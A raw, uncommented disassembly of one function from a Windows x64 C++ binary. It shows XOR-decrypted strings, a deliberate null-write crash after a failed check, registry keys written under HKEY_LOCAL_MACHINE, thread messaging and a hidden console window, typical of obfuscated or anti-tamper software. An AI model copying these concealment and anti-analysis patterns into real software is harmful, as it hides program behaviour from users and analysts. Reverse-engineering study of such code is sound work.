cmp rax, rcx
jb 0x140008862
cmp qword [0x140091270], 0x10
lea rax, [0x140091258]
cmovae rax, qword [0x140091258]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x2c0]
lea rcx, [rbp + 0x3f8]
call fcn.14000d910
bts r15d, 8
mov dword [rsp + 0x78], r15d
lea rdx, [rbp + 0x3f8]
cmp qword [rbp + 0x410], 0x10
cmovae rdx, qword [rbp + 0x3f8]
mov rcx, qword [0x140075460]
call fcn.14000bf00
lea rdx, [0x14000c0d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rbp - 8], 0xfffffffffe8287c0
movdqa xmm0, xmmword [0x140084540]
movdqu xmmword [rbp + 0x148], xmm0
xor eax, eax
mov byte [rbp + 0x158], al
mov edx, esi
nop dword [rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x148], al
inc edx
cmp edx, 0x10
jb 0x1400076c0
mov byte [rbp + 0x158], 0
lea r8, [rbp - 8]
lea rcx, [rbp + 0x148]
call fcn.14000ba40
movdqa xmm0, xmmword [0x140084620]
movdqu xmmword [rbp + 0x148], xmm0
mov word [rbp + 0x158], 0x132c
xor eax, eax
mov byte [rbp + 0x15a], al
mov edx, esi
nop
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x148], al
inc edx
cmp edx, 0x12
jb 0x140007710
mov byte [rbp + 0x15a], 0
lea rcx, [rbp + 0x148]
call fcn.140009cd0
test eax, eax
jns 0x140007743
mov byte [0], 0
mov rdx, qword [rbp + 0x410]
cmp rdx, 0x10
jb 0x140007784
inc rdx
mov rcx, qword [rbp + 0x3f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000777f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007f2d
call fcn.140071e80
movdqa xmm0, xmmword [0x140084370]
movdqu xmmword [rbp + 0x408], xmm0
mov byte [rbp + 0x3f8], 0
mov dword [rsp + 0x60], 0x223161
mov r8d, esi
nop word [rax + rax]
movsxd rcx, r8d
lea eax, [r8 + 0x4f]
xor byte [rsp + rcx + 0x60], al
inc r8d
cmp r8d, 3
jb 0x1400077b0
mov byte [rsp + 0x63], 0
lea rdx, [0x1400911c0]
lea rcx, [rbp + 0x488]
call fcn.1400093d0
nop
lea rdx, [0x1400911a0]
lea rcx, [rbp + 0x468]
call fcn.1400093d0
nop
lea r8, [rbp + 0x468]
lea rdx, [rbp + 0x488]
lea rcx, [rbp + 0xd8]
call fcn.14000be30
mov rdi, rax
mov qword [rbp + 0x148], rax
movdqa xmm0, xmmword [0x140084430]
movdqu xmmword [rbp + 0x320], xmm0
xor eax, eax
mov byte [rbp + 0x330], al
mov edx, esi
nop
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x320], al
inc edx
cmp edx, 0x10
jb 0x140007830
mov byte [rbp + 0x330], 0
mov r15, qword [rdi + 0x10]
lea rcx, [rbp + 0x368]
call fcn.140001a90
or dword [rsp + 0x78], 0x20
lea rdx, [r15 + r15]
lea rcx, [rbp + 0x368]
call fcn.140009240
mov r14, rsi
test r15, r15
je 0x1400078cb
nop dword [rax + rax]
mov rax, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x14000788d
mov rax, qword [rdi]
movzx ebx, byte [rax + r14]
mov edx, ebx
shr rdx, 4
movzx edx, byte [rbp + rdx + 0x320]
lea rcx, [rbp + 0x368]
call fcn.140009280
and ebx, 0xf
movzx edx, byte [rbp + rbx + 0x320]
lea rcx, [rbp + 0x368]
call fcn.140009280
inc r14
cmp r14, r15
jb 0x140007880
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x140007905
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140007900
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000797e
mov rcx, r8
call fcn.140071e80
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
lea rdx, [rbp + 0x368]
cmp qword [rbp + 0x380], 0x10
cmovae rdx, qword [rbp + 0x368]
lea rcx, [rbp + 0x4c8]
call fcn.140009390
nop
mov rdx, qword [rbp + 0x380]
cmp rdx, 0x10
jb 0x14000798a
inc rdx
mov rcx, qword [rbp + 0x368]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007985
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007985
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140071e80
movdqa xmm0, xmmword [0x140084370]
movdqu xmmword [rbp + 0x378], xmm0
mov byte [rbp + 0x368], 0
mov rdx, qword [rbp + 0x480]
cmp rdx, 0x10
jb 0x1400079e5
inc rdx
mov rcx, qword [rbp + 0x468]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400079e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400079e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140071e80
movdqa xmm0, xmmword [0x140084370]
movdqu xmmword [rbp + 0x478], xmm0
mov byte [rbp + 0x468], 0
mov rdx, qword [rbp + 0x4a0]
cmp rdx, 0x10
jb 0x140007a3d
inc rdx
mov rcx, qword [rbp + 0x488]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007a38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007f2d
call fcn.140071e80
movdqa xmm0, xmmword [0x140084370]
movdqu xmmword [rbp + 0x498], xmm0
mov byte [rbp + 0x488], 0
movdqa xmm0, xmmword [0x1400845a0]
movdqu xmmword [rbp + 0x278], xmm0
mov dword [rbp + 0x288], 0x3e180c3d
xor eax, eax
mov byte [rbp + 0x28c], al
mov edx, esi
nop dword [rax + rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x278], al
inc edx
cmp edx, 0x14
jb 0x140007a80
mov byte [rbp + 0x28c], 0
lea rax, [rbp + 0x278]
mov r9, r12
inc r9
cmp byte [rax + r9], 0
jne 0x140007aa5
lea r8, [rbp + 0x278]
xor edx, edx
lea rcx, [rbp + 0x4c8]
call fcn.14000daa0
mov rdx, rax
lea rcx, [rbp + 0x4a8]
call fcn.140009360
nop
lea rax, [rsp + 0x60]
nop dword [rax]
inc r12
cmp byte [rax + r12], 0
jne 0x140007ae0
mov r8, r12
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x4a8]
call fcn.140009860
xorps xmm0, xmm0
movups xmmword [rbp + 0x238], xmm0
mov qword [rbp + 0x248], rsi
mov qword [rbp + 0x250], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x238], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x248], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0x4c0]
cmp rdx, 0x10
jb 0x140007b7e
inc rdx
mov rcx, qword [rbp + 0x4a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007b79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007b79
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140071e80
movdqa xmm0, xmmword [0x140084370]
movdqu xmmword [rbp + 0x4b8], xmm0
mov byte [rbp + 0x4a8], 0
mov rdx, qword [rbp + 0x4e0]
cmp rdx, 0x10
jb 0x140007bd6
inc rdx
mov rcx, qword [rbp + 0x4c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007bd1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007e9b
call fcn.140071e80
movdqa xmm0, xmmword [0x140084370]
movdqu xmmword [rbp + 0x4d8], xmm0
mov byte [rbp + 0x4c8], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rsi
mov rdi, qword [rbp + 0x248]
lea r14, [rbp + 0x238]
cmp qword [rbp + 0x250], 0x10
cmovae r14, qword [rbp + 0x238]
cmp rdi, r13
ja 0x14000884a
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
mov r12d, reloc.WLDAP32.dll_Ordinal_22
cmp rdi, 0x10
jae 0x140007c52
mov qword [rbp - 0x58], rdi
movups xmm0, xmmword [r14]
movups xmmword [rbp - 0x68], xmm0
movabs r15, 0x8000000000000000
jmp 0x140007cf3
mov rbx, rdi
or rbx, 0xf
cmp rbx, r13
jbe 0x140007c71
mov rbx, r13
movabs r15, 0x8000000000000000
lea rax, [r15 + 0x27]
jmp 0x140007c9d
cmp rbx, 0x16
cmovb rbx, r12
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140007cbf
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140008850
movabs r15, 0x8000000000000000
mov rcx, rax
call fcn.140071b1c
mov rcx, rax
test rax, rax
je 0x140007e9b
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140007cd8
test rcx, rcx
je 0x140007ccb
call fcn.140071b1c
jmp 0x140007cce
mov rax, rsi
movabs r15, 0x8000000000000000
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp - 0x68]
call fcn.140002790
mov dword [rbp - 0x70], esi
lea rcx, [rbp + 0x238]
cmp qword [rbp + 0x250], 0x10
cmovae rcx, qword [rbp + 0x238]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], pe_nt_image_headers64
mov r14d, 1
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
call fcn.140003bb0
mov rbx, rax
mov r8, qword [rbp + 0x38]
mov rdx, qword [rbp + 0x30]
sub r8, rdx
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 0x70]
mov rcx, rax
call fcn.140002b40
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x78]
mov rcx, rbx
call fcn.140002c30
lea rdx, [rbp + 0x458]
lea rcx, [rbp - 0x78]
call fcn.140003d30
mov eax, 0x7e6
mov word [rbp + 0x458], ax
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x458]
call fcn.140003ea0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x78]
mov rcx, rbx
call fcn.140002cf0
lea r9, [rbp - 0x78]
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.140002cf0
mov rcx, rbx
call fcn.140002720
lea rcx, [rbp + 0x238]
cmp qword [rbp + 0x250], 0x10
cmovae rcx, qword [rbp + 0x238]
mov r8d, r14d
xor edx, edx
call fcn.140003a50
mov qword [rbp + 0xf8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
mov rbx, qword [rbp + 0x248]
lea rdi, [rbp + 0x238]
cmp qword [rbp + 0x250], 0x10
cmovae rdi, qword [rbp + 0x238]
cmp rbx, r13
ja 0x14000884a
cmp rbx, 0x10
jae 0x140007e46
mov qword [rbp + 0x110], rbx
mov qword [rbp + 0x118], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x100], xmm0
jmp 0x140007ed5
mov rax, rbx
or rax, 0xf
cmp rax, r13
jbe 0x140007e74
lea rax, [r15 + 0x27]
mov rcx, rax
call fcn.140071b1c
mov rcx, rax
test rax, rax
je 0x140007e9b
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140007eb1
mov r13, rax
cmp rax, 0x16
cmovb r13, r12
lea rcx, [r13 + 1]
cmp rcx, 0x1000
jb 0x140007ea2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140008850
jmp 0x140007e56
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140007eae
call fcn.140071b1c
jmp 0x140007eb1
mov rax, rsi
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x110], rbx
mov qword [rbp + 0x118], r13
lea r8, [rbx + 1]
mov rdx, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x120]
call fcn.140004080
lea rcx, [rbp + 0xf8]
call fcn.140004010
nop
mov rdx, qword [rbp + 0x250]
cmp rdx, 0x10
jb 0x140007f39
inc rdx
mov rcx, qword [rbp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007f34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007f34
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140071e80
mov qword [rbp + 0x248], rsi
mov qword [rbp + 0x250], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x238], 0
lea rcx, [rbp + 0x30]
call fcn.140008e40
nop
mov rcx, qword [rbp + 0x120]
test rcx, rcx
je 0x1400087c9
mov r8d, 0x104
lea rdx, [rbp + 0x720]
call fcn.1400038d0
lea rdx, [rbp + 0x720]
lea rcx, [rbp + 0x48]
call fcn.140001ae0
lea rcx, [rbp + 0x388]
call fcn.140003610
mov dword [rbp - 0x6c], 0x101
lea rdx, [rbp - 0x6c]
lea rcx, [rbp + 0x610]
call fcn.140003770
movsx eax, byte [rbp + 0x610]
imul edx, eax, 0x18e
movzx eax, word [rbp + 0x388]
add edx, eax
movzx eax, word [rbp + 0x38a]
add edx, eax
movzx eax, word [rbp + 0x38e]
add edx, eax
movzx eax, word [rbp + 0x390]
add edx, eax
xor edx, 0x41444274
lea rcx, [rbp + 0x1f8]
call fcn.140009af0
nop
mov dword [rbp + 0x1a8], 0x6171f1c
mov dword [rbp + 0x1ac], 0x13071504
mov dword [rbp + 0x1b0], 0x6e696c0b
xor eax, eax
mov byte [rbp + 0x1b4], al
mov edx, esi
nop dword [rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x1a8], al
inc edx
cmp edx, 0xc
jb 0x140008020
mov byte [rbp + 0x1b4], 0
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x218]
call fcn.140009390
nop
lea rdx, [rbp + 0x218]
cmp qword [rbp + 0x230], 0x10
cmovae rdx, qword [rbp + 0x218]
mov qword [rsp + 0x40], rsi
lea rax, [rbp]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x140008141
mov rdx, qword [rbp + 0x230]
cmp rdx, 0x10
jb 0x1400080e1
inc rdx
mov rcx, qword [rbp + 0x218]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400080dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400084ee
call fcn.140071e80
movdqa xmm0, xmmword [0x140084370]
movdqu xmmword [rbp + 0x228], xmm0
mov byte [rbp + 0x218], 0
mov rdx, qword [rbp + 0x210]
cmp rdx, 0x10
jb 0x140008139
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008134
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008549
call fcn.140071e80
mov r14d, esi
jmp 0x14000855b
mov word [rsp + 0x54], reloc.WS2_32.dll_send
mov edx, esi
nop word [rax + rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rsp + rcx + 0x54], al
inc edx
cmp edx, 1
jb 0x140008150
mov byte [rsp + 0x55], 0
lea r8, [rsp + 0x54]
lea rdx, [rbp + 0x218]
lea rcx, [rbp + 0x528]
call fcn.14000bd50
cmp qword [rax + 0x18], 0x10
jb 0x140008188
mov rax, qword [rax]
mov qword [rsp + 0x40], rsi
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ebx, eax
mov rdx, qword [rbp + 0x540]
cmp rdx, 0x10
jb 0x140008204
inc rdx
mov rcx, qword [rbp + 0x528]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400081ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400081ff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140071e80
movdqa xmm0, xmmword [0x140084370]
movdqu xmmword [rbp + 0x538], xmm0
mov byte [rbp + 0x528], 0
test ebx, ebx
je 0x1400082c5
mov rdx, qword [rbp + 0x230]
cmp rdx, 0x10
jb 0x140008264
inc rdx
mov rcx, qword [rbp + 0x218]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000825f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400084ee
call fcn.140071e80
movdqa xmm0, xmmword [0x140084370]
movdqu xmmword [rbp + 0x228], xmm0
mov byte [rbp + 0x218], 0
mov rdx, qword [rbp + 0x210]
cmp rdx, 0x10
jb 0x14000855b
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400082bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008549
call fcn.140071e80
jmp 0x14000855b
mov ebx, dword [rbp + 0x208]
lea rdi, [rbp + 0x1f8]
cmp qword [rbp + 0x210], 0x10
cmovae rdi, qword [rbp + 0x1f8]
xor eax, eax
mov byte [rsp + 0x64], al
lea rcx, [rsp + 0x64]
call fcn.140008ea0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
mov r9d, r14d
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400083ba
mov rdx, qword [rbp + 0x230]
cmp rdx, 0x10
jb 0x140008357
inc rdx
mov rcx, qword [rbp + 0x218]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008352
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400084ee
call fcn.140071e80
movdqa xmm0, xmmword [0x140084370]
movdqu xmmword [rbp + 0x228], xmm0
mov byte [rbp + 0x218], 0
mov rdx, qword [rbp + 0x210]
cmp rdx, 0x10
jb 0x1400083af
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400083aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008549
call fcn.140071e80
mov r14d, 2
jmp 0x14000855b
mov rcx, qword [rbp]
test rcx, rcx
je 0x1400084b6
mov rax, rcx
mov ebx, 0xf0000000
and rax, rbx
mov edi, 0x80000000
cmp rax, rdi
je 0x1400083e1
call fcn.140002720
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x1400084b6
mov rax, rcx
and rax, rbx
cmp rax, rdi
je 0x1400083ff
call fcn.140002720
nop
mov rdx, qword [rbp + 0x230]
cmp rdx, 0x10
jb 0x140008440
inc rdx
mov rcx, qword [rbp + 0x218]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000843b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400084ee
call fcn.140071e80
movdqa xmm0, xmmword [0x140084370]
movdqu xmmword [rbp + 0x228], xmm0
mov byte [rbp + 0x218], 0
mov rdx, qword [rbp + 0x210]
cmp rdx, 0x10
jb 0x140008498
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008493
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008549
call fcn.140071e80
mov qword [rbp + 0x208], rsi
mov qword [rbp + 0x210], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1f8], 0
jmp 0x140008683
mov rdx, qword [rbp + 0x230]
cmp rdx, 0x10
jb 0x1400084fa
inc rdx
mov rcx, qword [rbp + 0x218]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400084f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400084f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140071e80
movdqa xmm0, xmmword [0x140084370]
movdqu xmmword [rbp + 0x228], xmm0
mov byte [rbp + 0x218], 0
mov rdx, qword [rbp + 0x210]
cmp rdx, 0x10
jb 0x140008555
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008550
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008550
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140071e80
mov r14d, 3
mov byte [rbp + 0x1f8], 0
mov qword [rbp + 0x210], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x208], rsi
mov rbx, qword [0x140075460]
mov dword [rbp + 0x1e8], 0x3d23220a
mov dword [rbp + 0x1ec], 0x323c7421
mov word [rbp + 0x1f0], 0x786d
xor eax, eax
mov byte [rbp + 0x1f2], al
lea rcx, [rbp + 0x1e8]
call fcn.140009060
mov rdx, rax
mov rcx, rbx
call fcn.14000bf00
lea edx, [r14 + 0x13e]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x14000c0d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rbp + 8], 0xfffffffffe8287c0
movdqa xmm0, xmmword [0x140084540]
movdqu xmmword [rbp + 0x148], xmm0
xor eax, eax
mov byte [rbp + 0x158], al
mov edx, esi
nop dword [rax]
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x148], al
inc edx
cmp edx, 0x10
jb 0x140008600
mov byte [rbp + 0x158], 0
lea r8, [rbp + 8]
lea rcx, [rbp + 0x148]
call fcn.14000ba40
movdqa xmm0, xmmword [0x140084620]
movdqu xmmword [rbp + 0x148], xmm0
mov word [rbp + 0x158], 0x132c
xor eax, eax
mov byte [rbp + 0x15a], al
mov edx, esi
nop
movsxd rcx, edx
lea eax, [rdx + 0x4f]
xor byte [rbp + rcx + 0x148], al
inc edx
cmp edx, 0x12
jb 0x140008650
mov byte [rbp + 0x15a], 0
lea rcx, [rbp + 0x148]
call fcn.140009cd0
test eax, eax
jns 0x140008683
mov byte [0], 0
mov edi, dword [rbp - 0x80]
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1400087c9
movdqa xmm0, xmmword [0x140084500]
movdqu xmmword [rbp + 0x350], xmm0
mov dword [rbp + 0x360], 0x90e0f17
mov word [rbp + 0x364], 0x1c26
xor eax, eax
mov byte [rbp + 0x366], al
lea rcx, [rbp + 0x350]
call fcn.140008f40
mov rcx, rax
mov dword [rsp + 0x30], esi
mov rax, qword [0x1400752a0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 3
mov r9d, edi
lea r8, [rbp + 0x48]
mov rdx, qword [rbp + 0x120]
call fcn.14000c110
test rax, rax
jne 0x140008781
mov dword [rbp + 0x1d8], 0x3d23220a
mov dword [rbp + 0x1dc], 0x383c7421
mov dword [rbp + 0x1e0], 0x2e3a3d3f
mov word [rbp + 0x1e4], 0x2e34
mov byte [rbp + 0x1e6], al
nop
movsxd r8, esi
lea eax, [rsi + 0x4f]
xor byte [rbp + r8 + 0x1d8], al
inc esi
cmp esi, 0xe
jb 0x140008740
mov byte [rbp + 0x1e6], 0
lea rdx, [rbp + 0x1d8]
mov rcx, qword [0x140075460]
call fcn.14000bf00
lea rdx, [0x14000c0d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400087c9
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, edi
call qword [sym.imp.USER32.dll_PostThreadMessageW]
test eax, eax
je 0x1400087c9
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 0x120]
call fcn.140004010
nop
mov rdx, qword [rbp + 0x500]
cmp rdx, 0x10
jb 0x14000881a
inc rdx
mov rcx, qword [rbp + 0x4e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008815
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008815
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140071e80
mov rcx, qword [rbp + 0x930]
xor rcx, rsp
call fcn.140071860
lea r11, [rsp + 0xa40]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001910
nop
call fcn.140001870
nop
call fcn.140001910
int3
call fcn.140001870
nop
call fcn.140001910
int3